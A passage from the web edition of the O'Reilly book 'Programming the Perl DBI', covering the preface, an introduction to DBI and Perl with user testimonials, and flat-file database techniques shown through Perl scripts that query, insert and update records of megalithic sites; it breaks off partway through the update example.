This book teaches you how to extend the capabilities of your Apache web server regardless of whether you use Perl or C as your programming language. The book explains the design of Apache, mod_perl, and the Apache API. From a DBI perspective, it discusses the Apache::DBI module, which provides advanced DBI functionality in relation to web services such as persistent connection pooling optimized for serving databases over the Web.

Boutell FAQ (http://www.boutell.com/faq/) and others

These links are invaluable to you if you want to deploy DBI-driven web sites. They explain the dos and don'ts of CGI programming in general.

MySQL & mSQL, by Randy Jay Yarger, George Reese, and Tim King

For users of the MySQL and mSQL databases, this is a very useful book. It covers not only the databases themselves but also the DBI drivers and other useful topics like CGI programming.

Previous | Home | Next
Dedication | Book Index | 0.2. Typographical Conventions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Typographical Conventions (Programming the Perl DBI)

 Programming the Perl DBISearch this book

0.2. Typographical Conventions

The following font conventions are used in this book:

Constant Width

is used for method names, function names, variables, and attributes. It is also used for code examples.

Italic

is used for filenames, URLs, hostnames, and emphasis.

Previous | Home | Next
0. Preface | Book Index | 0.3. How to Contact Us
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Programming the Perl DBI)

 Programming the Perl DBISearch this book

0.5. Acknowledgments

Alligator would like to thank his wife, Carolyn, for putting up with his authorial melodramatics and flouncing during the writing of this book. Martin McCarthy should also get his name in lights for proofreading far too many of the early drafts of the book. Phil Kizer also deserves a credit for running the servers that the DBI web site has sat on between 1995 and early 1999. Karin and John Attwood, Andy Burnham, Andy Norfolk, Chris Tweed, and many others on the stones mailing list deserve thanks (and beer) for aiding the preservation and presentation of many of the megalithic sites around the UK. Further thanks to the people behind ASLaN for volunteering to do a difficult job, and doing it well.

Linda Mui definitely deserves an O'Reilly bag and pair of old sunglasses for her fabulous editing job, and, last but not least, thanks to Tim for making the book far better than it would have been had I written it alone.

Tim would like to thank his wife, Máire, for being his wife; Larry Wall for giving the world Perl; Ted Lemon for having the idea that was, many years later, to become the DBI, and for running the mailing list for many of those years. Thanks also to Tim O'Reilly for nagging me to write a DBI book, to Alligator for actually starting to do it and then letting me jump on board (and putting up with my pedantic tendencies), and to Linda Mui for being a great editor.

The DBI has a long history[1] and countless people have contributed to the discussions and development over the years. First, we'd like to thank the early pioneeers including Kevin Stock, Buzz Moschetti, Kurt Andersen, William Hails, Garth Kennedy, Michael Peppler, Neil Briscoe, David Hughes, Jeff Stander, and Forrest D. Whitcher.

[1]It all started on September 29, 1992.

Then, of course, there are the poor souls who have struggled through untold and undocumented obstacles to actually implement DBI drivers. Among their ranks are Jochen Wiedmann, Jonathan Leffler, Jeff Urlwin, Michael Peppler, Henrik Tougaard, Edwin Pratomo, Davide Migliavacca, Jan Pazdziora, Peter Haworth, Edmund Mergl, Steve Williams, Thomas Lowery, and Phlip Plumlee. Without them, the DBI would not be the practical reality it is today.

We would both like to thank the many reviewers to gave us valuable feedback. Special thanks to Matthew Persico, Nathan Torkington, Jeff Rowe, Denis Goddard, Honza Pazdziora, Rich Miller, Niamh Kennedy, Randal Schwartz, and Jeffrey Baker.

Previous | Home | Next
0.4. Code Examples | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 1. Introduction

Contents:

From Mainframes to Workstations
Perl
DBI in the Real World
A Historical Interlude andStanding Stones

The subject of databases is a large and complex one, spanning many different concepts of structure, form, and expected use. There are also a multitude of different ways to access and manipulate the data stored within these databases.

This book describes and explains an interface called the Perl Database Interface, or DBI, which provides a unified interface for accessing data stored within many of these diverse database systems. The DBI allows you to write Perl code that accesses data without needing to worry about database- or platform-specific issues or proprietary interfaces.

We also take a look at non-DBI ways of storing, retrieving, and manipulating data with Perl, as there are occasions when the use of a database might be considered overkill but some form of structured data storage is required.

To begin, we shall discuss some of the more common uses of database systems in business today and the place that Perl and DBI takes within these frameworks.

1.1. From Mainframes to Workstations

In today's computing climate, databases are everywhere. In previous years, they tended to be used almost exclusively in the realm of mainframe-processing environments. Nowadays, with pizza-box sized machines more powerful than room-sized machines of ten years ago, high-performance database processing is available to anyone.

In addition to cheaper and more powerful computer hardware, smaller database packages have become available, such as Microsoft Access and mSQL. These packages give all computer users the ability to use powerful database technology in their everyday lives.

The corporate workplace has also seen a dramatic decentralization in database resources, with radical downsizing operations in some companies leading to their centralized mainframe database systems being replaced with a mixture of smaller databases distributed across workstations and PCs. The result is that developers and users are often responsible for the administration and maintenance of their own databases and datasets.

This trend towards mixing and matching database technology has some important downsides. Having replaced a centralized database with a cluster of workstations and multiple database types, companies are now faced with hiring skilled administration staff or training their existing administration staff for new skills. In addition, administrators now need to learn how to glue different databases together.

It is in this climate that a new order of software engineering has evolved, namely database-independent programming interfaces. If you thought administration staff had problems with downsizing database technology, developers may have been hit even harder.

A centralized mainframe environment implies that database software is written in a standard language, perhaps COBOL or C, and runs only on one machine. However, a distributed environment may support multiple databases on different operating systems and processors, with each development team choosing their preferred development environment (such as Visual Basic, PowerBuilder, Oracle Pro*C, Informix E/SQL, C++ code with ODBC -- the list is almost endless). Therefore, the task of coordinating and porting software has rapidly gone from being relatively straightforward to extremely difficult.

Database-independent programming interfaces help these poor, beleagured developers by giving them a single, unified interface with which they can program. This shields the developer from having to know which database type they are working with, and allows software written for one database type to be ported far more easily to another database. For example, software originally written for a mainframe database will often run with little modification on Oracle databases. Software written for Informix will generally work on Oracle with little modification. And software written for Microsoft Access will usually run with little modification on Sybase databases.

If you couple this database-independent programming interface with a programming language such as Perl, which is operating-system neutral, you are faced with the prospect of having a single code-base once again. This is just like in the old days, but with one major difference -- you are now fully harnessing the power of the distributed database environment.

Database-independent programming interfaces help not only development staff. Administrators can also use them to write database-monitoring and administration software quickly and portably, increasing their own efficiency and the efficiency of the systems and databases they are responsible for monitoring. This process can only result in better-tuned systems with higher availability, freeing up the administration staff to proactively maintain the systems they are responsible for.

Another aspect of today's corporate database lifestyle revolves around the idea of data warehousing , that is, creating and building vast repositories of archived information that can be scanned, or mined, for information separately from online databases. Powerful high-level languages with database-independent programming interfaces (such as Perl) are becoming more prominent in the construction and maintenance of data warehouses. This is due not only to their ability to transfer data from database to database seamlessly, but also to their ability to scan, order, convert, and process this information efficiently.

In summary, databases are becoming more and more prominent in the corporate landscape, and powerful interfaces are required to stop these resources from flying apart and becoming disparate fragments of localized data. This glueing process can be aided by the use of database-independent programming interfaces, such as the DBI, especially when used in conjunction with efficient high-level data-processing languages such as Perl.

Previous | Home | Next
0.5. Acknowledgments | Book Index | 1.2. Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl (Programming the Perl DBI)

 Programming the Perl DBISearch this book

1.2. Perl

Perl is a very high-level programming language originally developed in the 1980s by Larry Wall. Perl is now being developed by a group of individuals known as the Perl5-Porters under the watchful eye of Larry. One of Perl's many strengths is its ability to process arbitrary chunks of textual data, known as strings , in many powerful ways, including regular-expression string manipulation. This capability makes Perl an excellent choice for database programming, since the majority of information stored within databases is textual in nature. Perl takes the pain of manipulating strings out of programming, unlike C, which is not well-suited for that task. Perl scripts tend to be far smaller than equivalent C programs and are generally portable to other operating systems that run Perl with little or no modification.

Perl also now features the ability to dynamically load external modules , which are pieces of software that can be slotted into Perl to extend and enhance its functionality. There are literally hundreds of these modules available now, ranging from mathematical modules to three-dimensional graphics-rendering modules to modules that allow you to interact with networks and network software. The DBI is a set of modules for Perl that allows you to interact with databases.

In recent years, Perl has become a standard within many companies by just being immensely useful for many different applications, the "Swiss army knife of programming languages." It has been heavily used by system administrators who like its flexibility and usefulness for almost any job they can think of. When used in conjunction with DBI, Perl makes loading and dumping databases very straightforward, and its excellent data-manipulation capabilities allow developers to create and manipulate data easily.

Furthermore, Perl has been tacitly accepted as being the de facto language on the World Wide Web for writing CGI programs. What's this got to do with databases? Using Perl and DBI, you can quickly deploy powerful CGI scripts that generate dynamic web pages from the data contained within your databases. For example, online shopping catalogs can be stored within a database and presented to shoppers as a series of dynamically created web pages. The sample code for this book revolves around a database of archaeological sites that you can deploy on the Web.

Bolstered by this proof of concept, and the emergence of new and powerful modules such as the DBI and the rapid GUI development toolkit Tk, major corporations are now looking towards Perl to provide rapid development capabilities for building fast, robust, and portable applications to be deployed within corporate intranets and on the Internet.

Previous | Home | Next
1. Introduction | Book Index | 1.3. DBI in the Real World
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


DBI in the Real World (Programming the Perl DBI)

 Programming the Perl DBISearch this book

1.3. DBI in the Real World

DBI is being used in many companies across the world today, including large-scale, mission-critical environments such as NASA and Motorola. Consider the following testimonials by avid DBI users from around the world:

We developed and support a large scale telephone call logging and analysis system for a major client of ours. The system collects ~1 GB of call data per day from over 1,200,000 monitored phone numbers. ~424 GB has been processed so far (over 6,200,000,000 calls). Data is processed and loaded into Oracle using DBI and DBD::Oracle. The database holds rolling data for around 20 million calls. The system generates over 44,000 PostScript very high quality reports per month (~five pages with eleven color graphs and five tables) generated by using Perl to manipulate FrameMaker templates. [Values correct as of July 1999, and rising steadily.]

The whole system runs on three dual processor Sun SPARC Ultra 2 machines -- one for data acquisition and processing, one for Oracle and the third does most of the report production (which is also distributed across the other two machines). Almost the entire system is implemented in Perl.

There is only one non-Perl program and that's only because it existed already and isn't specific to this system. The other non-Perl code is a few small libraries linked into Perl using the XS interface.

A quote from a project summary by a senior manager: "Less than a year later the service went live. This was subsequently celebrated as one of the fastest projects of its size and complexity to go from conception to launch."

Designed, developed, implemented, installed, and supported by the Paul Ingram Group, who received a "Rising to the Challenge" award for their part in the project. Without Perl, the system could not have been developed fast enough to meet the demanding go-live date. And without Perl, the system could not be so easily maintained or so quickly extended to meet changing requirements. --Tim Bunce, Paul Ingram Group

In 1997 I built a system for NASA's Langley Research Center in Virginia that puts a searchable web front end on a database of about 100,000 NASA-owned equipment items. I used Apache, DBI, Informix, WDB, and mod_perl on a Sparc 20. Ran like a charm. They liked it so much they used it to give demos at meetings on reorganizing the wind tunnels! Thing was, every time they showed it to people, I ended up extending the system to add something new, like tracking equipment that was in for repairs, or displaying GIFs of technical equipment so when they lost the spec sheet, they could look it up online. When it works, success feeds on itself. --Jeff Rowe

I'm working on a system implemented using Perl, DBI, Apache (mod_perl), hosted using RedHat Linux 5.1 and using a lightweight SQL RDBMS called MySQL. The system is for a major multinational holding company, which owns approximately 50 other companies. They have 30,000 employees world-wide who needed a secure system for getting to web-based resources. This first iteration of the Intranet is specified to handle up to forty requests for web objects per second (approximately 200 concurrent users), and runs on a single processor Intel Pentium-Pro with 512 megs of RAM. We develop in Perl using Object-Oriented techniques everywhere. Over the past couple years, we have developed a large reusable library of Perl code. One of our most useful modules builds an Object-Relational wrapper around DBI to allow our application developers to talk to the database using O-O methods to access or change properties of the record. We have saved countless hours and dollars by building on Perl instead of a more proprietary system. --Jesse Erlbam

Motorola Commercial Government and Industrial Systems is using Perl with DBI and DBD-Oracle as part of web-based reporting for significant portions of the manufacturing and distribution organizations. The use of DBI/DBD-Oracle is part of a movement away from Oracle Forms based reporting to a pure web-based reporting platform. Several moderate-sized applications based on DBI are in use, ranging from simple notification distribution applications, dynamic routing of approvals, and significant business applications. While you need a bit more "patience" to develop the web-based applications, to develop user interfaces that look "good", my experience has been that the time to implement DBI-based applications is somewhat shorter than the alternatives. The time to "repair" the DBI/DBD based programs also seems to be shorter. The software quality of the DBI/DBD approach has been better, but that may be due to differences in software development methodology. --Garth Kennedy, Motorola

Previous | Home | Next
1.2. Perl | Book Index | 1.4. A Historical Interlude and Standing Stones
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Historical Interlude and Standing Stones (Programming the Perl DBI)

 Programming the Perl DBISearch this book

1.4. A Historical Interlude and Standing Stones

Throughout this book, we intersperse examples on relevant topics under discussion. In order to ensure that the examples do not confuse you any more than you may already be confused, let's discuss in advance the data we'll be storing and manipulating in the examples.

Primarily within the UK, but also within other countries around the world, there are many sites of standing stones or megaliths.[2] The stones are arranged into rings, rows, or single or paired stones. No one is exactly sure what the purpose or purposes of these monuments are, but there are certainly a plethora of theories ranging from the noncommittal ``ritual'' use to the more definitive alien landing-pad theory. The most famous and visited of these monuments is Stonehenge, located on Salisbury Plain in the south of England. However, Stonehenge is a unique and atypical megalithic monument.

[2]From the Greek, meaning ``big stone.'' This can be a misnomer in the case of many sites as the stones comprising the circle might be no larger than one or two feet tall. However, in many extreme cases, such as Stonehenge and Avebury, the "mega" prefix is more than justified.

Part of the lack of understanding about megaliths stems from the fact that these monuments can be up to 5,000 years old. There are simply no records available to us that describe the monuments' purposes or the ritual or rationale behind their erection. However, there are lots of web sites that explore various theories.

The example code shown within this book, and the sample web application we'll also be providing, uses a database containing information on these sites.

Previous | Home | Next
1.3. DBI in the Real World | Book Index | 2. Basic Non-DBI Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Basic Non-DBI Databases (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Chapter 2. Basic Non-DBI Databases

Contents:

Storage Managers and Layers
Query Languages and Data Functions
Standing Stones and the Sample Database
Flat-File Databases
Putting Complex Data into Flat Files
Concurrent Database Access and Locking
DBM Files and the BerkeleyDatabase Manager
The MLDBM Module
Summary

There are several ways in which databases organize the data contained within them. The most common of these is the relational database methodology. Databases that use a relational model are called Relational Database Management Systems , or RDBMSs. The most popular database systems nowadays (such as Oracle, Informix, and Sybase) are all relational in design.

But what does "relational" actually mean? A relational database is a database that is perceived by the user as a collection of tables, where a table is an unordered collection of rows. (Loosely speaking, a relation is a just a mathematical term for such a table.) Each row has a fixed number of fields, and each field can store a predefined type of data value, such as an integer, date, or string.

Another type of methodology that is growing in popularity is the object-oriented methodology, or OODBMS. With an object-oriented model, everything within the database is treated as an object of a certain class that has rules defined within itself for manipulating the data it encapsulates. This methodology closely follows that of object-oriented programming languages such as Smalltalk, C++, and Java. However, the DBI does not support any real OODBMS, so for the moment this methodology will not be discussed further.

Finally, there are several simplistic database packages that exist on various operating systems. These simple database packages generally do not feature the more sophisticated functionality that ``real'' database engines provide. They are, to all intents, only slightly sophisticated file-handling routines, not actually database packages. However, in their defense, they can be extremely fast, and in certain situations the sophisticated functionality that a ``real'' database system provides is simply an unnecessary overhead.[3]

[3]A useful list of a wide range of free databases is available from ftp://ftp.idiom.com/pub/free-databases.

In this chapter, we'll be exploring some non-DBI databases, ranging from the very simplest of ASCII data files through to disk-based hash files supporting duplicate keys. Along the way, we'll consider concurrent access and locking issues, and some applications for the rather useful Storable and Data::Dumper modules. (While none of this is strictly about the DBI, we think it'll be useful for many people, and even DBI veterans may pick up a few handy tricks.)

All of these database technologies, from the most complex to the simplest, share two basic attributes. The first is the very definition of the term: a database is a collection of data stored on a computer with varying layers of abstraction sitting on top of it. Each layer of abstraction generally makes the data stored within easier to both organize and access, by separating the request for particular data from the mechanics of getting that data.

The second basic attribute common to all database systems is that they all use Application Programming Interfaces (APIs) to provide access to the data stored within the database. In the case of the simplest databases, the API is simply the file read/write calls provided by the operating system, accessed via your favorite programming language.

An API allows programmers to interact with a more complex piece of software through access paths defined by the original software creators. A good example of this is the Berkeley Database Manager API. In addition to simply accessing the data, the API allows you to alter the structure of the database and the data stored within the database. The benefit of this higher level of access to a database is that you don't need to worry about how the Berkeley Database Manager is managing the data. You are manipulating an abstracted view via the API.

In higher-level layers such as those implemented by an RDBMS, the data access and manipulation API is completely divorced from the structure of the database. This separation of logical model from physical representation allows you to write standard database code (e.g., SQL) that is independent of the database engine that you are using.

2.1. Storage Managers and Layers

Modern databases, no matter which methodology they implement, are generally composed of multiple layers of software. Each layer implements a higher level of functionality using the interfaces and services defined by the lower-level layers.

For example, flat-file databases are composed of pools of data with very few layers of abstraction. Databases of this type allow you to manipulate the data stored within the database by directly altering the way in which the data is stored within the data files themselves. This feature gives you a lot of power and flexibility at the expense of being difficult to use, minimal in terms of functionality, and nerve-destroying since you have no safety nets. All manipulation of the data files uses the standard Perl file operations, which in turn use the underlying operating system APIs.

DBM file libraries, like Berkeley DB, are an example of a storage manager layer that sits on top of the raw data files and allows you to manipulate the data stored within the database through a clearly defined API. This storage manager translates your API calls into manipulations of the data files on your behalf, preventing you from directly altering the structure of the data in such a manner that it becomes corrupt or unreadable. Manipulating a database via this storage manager is far easier and safer than doing it yourself.

You could potentially implement a more powerful database system on top of DBM files. This new layer would use the DBM API to implement more powerful features and add another layer of abstraction between you and the actual physical data files containing the data.

There are many benefits to using higher-level storage managers. The levels of abstraction between your code and the underlying database allow the database vendors to transparently add optimizations, alter the structure of the database files, or port the database engine to other platforms without you having to alter a single line of code.

Previous | Home | Next
1.4. A Historical Interlude andStanding Stones | Book Index | 2.2. Query Languages and Data Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Query Languages and Data Functions (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.2. Query Languages and Data Functions

Database operations can be split into those manipulating the database itself (that is, the logical and physical structure of the files comprising the database) and those manipulating the data stored within these files. The former topic is generally database-specific and can be implemented in various ways, but the latter is typically carried out by using a query language.[4]

[4]We use the term "query language" very loosely. We stretch it from verb-based command languages, like SQL, all the way down to hard-coded logic written in a programming language like Perl.

All query languages, from the lowest level of using Perl's string and numerical handling functions to a high-level query language such as SQL, implement four main operations with which you can manipulate the data. These operations are:

Fetching

The most commonly used database operation is that of retrieving data stored within a database. This operation is known as fetching, and returns the appropriate data in a form understood by the API host language being used to query the database. For example, if you were to use Perl to query an Oracle database for data, the data would be requested by using the SQL query language, and the rows returned would be in the form of Perl strings and numerics. This operation is also known as selecting data, from the SQL SELECT keyword used to fetch data from a database.

Storing

The corollary operation to fetching data is storing data for later retrieval. The storage manager layers translate values from the programming language into values understood by the database. The storage managers then store that value within the data files. This operation is also known as inserting data.

Updating

Once data is stored within a database, it is not necessarily immutable. It can be changed if required. For example, in a database storing information on products that can be purchased, the pricing information for each product may change over time. The operation of changing a value of existing data within the database is known as updating. It is important to note that this operation doesn't add items to or remove items from the database; rather, it just changes existing items.[5]

[5]Logically, that is. Physically, the updates may be implemented as deletes and inserts.

Deleting

The final core operation that you generally want to perform on data is to delete any old or redundant data from your database. This operation will completely remove the items from the database, again using the storage managers to excise the data from the data files. Once data has been deleted, it cannot be recovered or replaced except by reinserting the data into the database.[6]

[6]Unless you are using transactions to control your data. More about that in Chapter 6, "Advanced DBI ".

These operations are quite often referred to by the acronym C.R.U.D. (Create, Read, Update, Delete). This book discusses these topics in a slightly different order primarily because we feel that most readers, at least initially, will be extracting data from existing databases rather than creating new databases in which to store data.

Previous | Home | Next
2. Basic Non-DBI Databases | Book Index | 2.3. Standing Stones and the Sample Database
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Standing Stones and the Sample Database (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.3. Standing Stones and the Sample Database

Our small example databases throughout this chapter will contain information on megalithic sites within the UK. A more complex version of this database is used in the following chapters.

The main pieces of information that we wish to store about megaliths[7] are the name of the site, the location of the site within the UK, a unique map reference for the site, the type of megalithic setting the site is (e.g., a stone circle or standing stone), and a description of what the site looks like.

[7]Storing anything on a megalith is in direct violation of the principles set forth in Appendix C, "ASLaN Sacred Site Charter". In case you missed it, we introduced megaliths in Chapter 1, "Introduction ".

For example, we might wish to store the following information about Stonehenge in our database:

Name:

Stonehenge

Location:

Wiltshire, England

Map Reference:

SU 123 400

Type:

Stone Circle and Henge

Description:

The most famous megalithic site in the world, comprised of an earthen bank, or henge, and several concentric rings of massive standing stones formed into trilithons.

With this simple database, we can retrieve all sorts of different pieces of information, such as, ``tell me of all the megalithic sites in Wiltshire,'' or ``tell me about all the standing stones in Orkney,'' and so on.

Now let's discuss the simplest form of database that you might wish to use: the flat-file database.

Previous | Home | Next
2.2. Query Languages and Data Functions | Book Index | 2.4. Flat-File Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Flat-File Databases (Programming the Perl DBI)

 Programming the Perl DBISearch this book

2.4. Flat-File Databases

The simplest type of database that we can create and manipulate is the old standby, the flat-file database. This database is essentially a file, or group of files, that contains data in a known and standard format that a program scans for the requested information. Modifications to the data are usually done by updating an in-memory copy of the data held in the file, or files, then writing the entire set of data back out to disk. Flat-file databases are typically ASCII text files containing one record of information per line. The line termination serves as the record delimiter.

In this section we'll be examining the two main types of flat-file database: files that separate fields with a delimiter character, and files that allocate a fixed length to each field. We'll discuss the pros and cons of each type of data file and give you some example code for manipulating them.

The most common format used for flat-file databases is probably the delimited file in which each field is separated by a delimiting character. And possibly the most common of these delimited formats is the comma-separated values (CSV) file, in which fields are separated from one another by commas. This format is understood by many common programs, such as Microsoft Access and spreadsheet programs. As such, it is an excellent base-level and portable format useful for sharing data between applications.[8]

[8]More excitingly, a DBI driver called DBD::CSV exists that allows you to write SQL code to manipulate a flat file containing CSV data.

Other popular delimiting characters are the colon ( : ), the tab, and the pipe symbol ( | ). The Unix /etc/passwd file is a good example of a delimited file with each record being separated by a colon. Figure 2-1 shows a single record from an /etc/passwd file.

Figure 2-1. The /etc/passwd file record format

2.4.1. Querying Data

Since delimited files are a very low-level form of storage manager, any manipulations that we wish to perform on the data must be done using operating system functions and low-level query logic, such as basic string comparisons. The following program illustrates how we can open a data file containing colon-separated records of megalith data, search for a given site, and return the data if found:

#!/usr/bin/perl -w
#
# ch02/scanmegadata/scanmegadata: Scans the given megalith data file for
#                                 a given site. Uses colon-separated data.
#

### Check the user has supplied an argument for
###     1) The name of the file containing the data
###     2) The name of the site to search for
die "Usage: scanmegadata <data file> <site name>\n"
    unless @ARGV == 2;

my $megalithFile = $ARGV[0];
my $siteName     = $ARGV[1];

### Open the data file for reading, and die upon failure
open MEGADATA, "<$megalithFile"
    or die "Can't open $megalithFile: $!\n";

### Declare our row field variables
my ( $name, $location, $mapref, $type, $description );

### Declare our 'record found' flag
my $found;

### Scan through all the entries for the desired site
while ( <MEGADATA> ) {

    ### Remove the newline that acts as a record delimiter
    chop;

    ### Break up the record data into separate fields
    ( $name, $location, $mapref, $type, $description ) =
         split( /:/, $_ );

    ### Test the sitename against the record's name
    if ( $name eq $siteName ) {
         $found = $.;  # $. holds current line number in file
         last;
    }
}

### If we did find the site we wanted, print it out
if ( $found ) {
     print "Located site: $name on line $found\n\n";
     print "Information on $name ( $type )\n";
     print "===============",
         ( "=" x ( length($name) + length($type) + 5 ) ), "\n";
     print "Location:      $location\n";
     print "Map Reference: $mapref\n";
     print "Description:   $description\n";
}

### Close the megalith data file
close MEGADATA;

exit;

For example, running that program with a file containing a record in the following format:

Stonehenge:Wiltshire:SU 123 400:Stone Circle and Henge:The most famous stone circle

and a search term of Stonehenge would return the following information:

Located site: Stonehenge on line 1

Information on Stonehenge ( Stone Circle and Henge )
====================================================
Location:      Wiltshire
Map Reference: SU 123 400
Description:   The most famous stone circle

indicating that our brute-force scan and test for the correct site has worked. As you can clearly see from the example program, we have used Perl's own native file I/O functions for reading in the data file, and Perl's own string handling functions to break up the delimited data and test it for the correct record.

The downside to delimited file formats is that if any piece of data contains the delimiting character, you need to be especially careful not to break up the records in the wrong place. Using the Perl split() function with a simple regular expression, as used above, does not take this into account and could produce wrong results. For example, a record containing the following information would cause the split() to happen in the wrong place:

Stonehenge:Wiltshire:SU 123 400:Stone Circle and Henge:Stonehenge: The most famous stone circle

The easiest quick-fix technique is to translate any delimiter characters in the string into some other character that you're sure won't appear in your data. Don't forget to do the reverse translation when you fetch the records back.

Another common way of storing data within flat files is to use fixed-length records in which to store the data. That is, each piece of data fits into an exactly sized space in the data file. In this form of database, no delimiting character is needed between the fields. There's also no need to delimit each record, but we'll continue to use ASCII line termination as a record delimiter in our examples because Perl makes it very easy to work with files line by line.

Using fixed-width fields is similar to the way in which data is organized in more powerful database systems such as an RDBMS. The pre-allocation of space for record data allows the storage manager to make assumptions about the layout of the data on disk and to optimize accordingly. For our megalithic data purposes, we could settle on the data sizes of:[10]

[10]The fact that these data sizes are all powers of two has no significance other than to indicate that the authors are old enough to remember when powers of two were significant and useful sometimes. They generally aren't anymore.

Field           Required Bytes
-----           --------------
Name            64
Location        64
Map Reference   16
Type            32
Description     256

Storing the data in this format requires slightly different storage manager logic to be used, although the standard Perl file I/O functions are still applicable. To test this data for the correct record, we need to implement a different way of extracting the fields from within each record. For a fixed-length data file, the Perl function unpack() is perfect. The following code shows how the unpack() function replaces the split() used above:

### Break up the record data into separate fields
### using the data sizes listed above
( $name, $location, $mapref, $type, $description ) =
    unpack( "A64 A64 A16 A32 A256", $_ );

Although fixed-length fields are always the same length, the data that is being put into a particular field may not be as long as the field. In this case, the extra space will be filled with a character not normally encountered in the data or one that can be ignored. Usually, this is a space character (ASCII 32) or a nul (ASCII 0).

In the code above, we know that the data is space-packed, and so we remove any trailing space from the name record so as not to confuse the search. This can be simply done by using the uppercase A format with unpack().

If you need to choose between delimited fields and fixed-length fields, here are a few guidelines:

The main limitations

The main limitation with delimited fields is the need to add special handling to ensure that neither the field delimiter or the record delimiter characters get added into a field value.

The main limitation with fixed-length fields is simply the fixed length. You need to check for field values being too long to fit (or just let them be silently truncated). If you need to increase a field width, then you'll have to write a special utility to rewrite your file in the new format and remember to track down and update every script that manipulates the file directly.

Space

A delimited-field file often uses less space than a fixed-length record file to store the same data, sometimes very much less space. It depends on the number and size of any empty or partially filled fields. For example, some field values, like web URLs, are potentially very long but typically very short. Storing them in a long fixed-length field would waste a lot of space.

While delimited-field files often use less space, they do "waste" space due to all the field delimiter characters. If you're storing a large number of very small fields then that might tip the balance in favor of fixed-length records.

Speed

These days, computing power is rising faster than hard disk data transfer rates. In other words, it's often worth using more space-efficient storage even if that means spending more processor time to use it.

Generally, delimited-field files are better for sequential access than fixed-length record files because the reduced size more than makes up for the increase in processing to extract the fields and handle any escaped or translated delimiter characters.

However, fixed-length record files do have a trick up their sleeve: direct access. If you want to fetch record 42,927 of a delimited-field file, you have to read the whole file and count records until you get to the one you want. With a fixed-length record file, you can just multiply 42,927 by the total record width and jump directly to the record using seek().

Furthermore, once it's located, the record can be updated in-place by overwriting it with new data. Because the new record is the same length as the old, there's no danger of corrupting the following record.

2.4.2. Inserting Data

Inserting data into a flat-file database is very straightforward and usually amounts to simply tacking the new data onto the end of the data file. For example, inserting a new megalith record into a colon-delimited file can be expressed as simply as:

#!/usr/bin/perl -w
#
# ch02/insertmegadata/insertmegadata: Inserts a new record into the
#                                     given megalith data file as
#                                     colon-separated data
#

### Check the user has supplied an argument to scan for
###     1) The name of the file containing the data
###     2) The name of the site to insert the data for
###     3) The location of the site
###     4) The map reference of the site
###     5) The type of site
###     6) The description of the site
die "Usage: insertmegadata"
    ." <data file> <site name> <location> <map reference> <type> <description>\n"
    unless @ARGV == 6;

my $megalithFile    = $ARGV[0];
my $siteName        = $ARGV[1];
my $siteLocation    = $ARGV[2];
my $siteMapRef      = $ARGV[3];
my $siteType        = $ARGV[4];
my $siteDescription = $ARGV[5];

### Open the data file for concatenation, and die upon failure
open MEGADATA, ">>$megalithFile"
    or die "Can't open $megalithFile for appending: $!\n";

### Create a new record
my $record = join( ":", $siteName, $siteLocation, $siteMapRef,
                        $siteType, $siteDescription );

### Insert the new record into the file
print MEGADATA "$record\n"
    or die "Error writing to $megalithFile: $!\n";

### Close the megalith data file
close MEGADATA
    or die "Error closing $megalithFile: $!";

print "Inserted record for $siteName\n";

exit;

This example simply opens the data file in append mode and writes the new record to the open file. Simple as this process is, there is a potential drawback. This flat-file database does not detect the insertion of multiple items of data with the same search key. That is, if we wanted to insert a new record about Stonehenge into our megalith database, then the software would happily do so, even though a record for Stonehenge already exists.

This may be a problem from a data integrity point of view. A more sophisticated test prior to appending the data might be worth implementing to ensure that duplicate records do not exist. Combining the insert program with the query program above is a straightforward approach.

Another potential (and more important) drawback is that this system will not safely handle occasions in which more than one user attempts to add new data into the database. Since this subject also affects updating and deleting data from the database, we'll cover it more thoroughly in a later section of this chapter.

Inserting new records into a fixed-length data file is also simple. Instead of printing each field to the Perl filehandle separated by the delimiting character, we can use the pack() function to create a fixed-length record out of the data.

2.4.3. Updating Data

Updating data within a flat-file database is where things begin to get a little more tricky. When querying records from the database, we simply scanned sequentially through the database until we found the correct record. Similarly, when inserting data, we simply attached the new data without really knowing what was already stored within the database.

The main problem with updating data is that we need to be able to read in data from the data file, temporarily mess about with it, and write the database back out to the file without losing any records.

One approach is to slurp the entire database into memory, make any updates to the in-memory copy, and dump it all back out again. A second approach is to read the database in record by record, make any alterations to each individual record, and write the record immediately back out to a temporary file. Once all the records have been processed, the temporary file can replace the original data file. Both techniques are viable, but we prefer the latter for performance reasons. Slurping entire large databases into memory can be very resource-hungry.

The following short program implements the latter of these strategies to update the map reference in the database of delimited records:

#!/usr/bin/perl -w
#
# ch02/updatemegadata/updatemegadata: Updates the given megalith data file
#                                     for a given site. Uses colon-separated
#                                     data and updates the map reference field.
#

### Check the user has supplied an argument to scan for
###     1) The name of the file containing the data
###     2) The name of the site to search for
###     3) The new map reference
die "Usage: updatemegadata <data file> <site name> <new map reference>\n"
    unless @ARGV == 3;

my $megalithFile = $ARGV[0];
my $siteName     = $ARGV[1];
my $siteMapRef   = $ARGV[2];
my $tempFile     = "tmp.$$";

### Open the data file for reading, and die upon failure
open MEGADATA, "<$megalithFile"
    or die "Can't open $megalithFile: $!\n";

### Open the temporary megalith data file for writing
open TMPMEGADATA, ">$tempFile"
    or die "Can't open temporary file $tempFile: $!\n";

### Scan through all the records looking for the desired site
while ( <MEGADATA> ) {

    ### Quick pre-check for maximum performance:
    ### Skip the record if the site name doesn't appear as a field
    next unless m/^\Q$siteName:/;

    ### Break up the record data into separate fields
    ### (we let $description carry the newline for us)
    my ( $name, $location, $mapref, $type, $description ) =
         split( /:/, $_ );

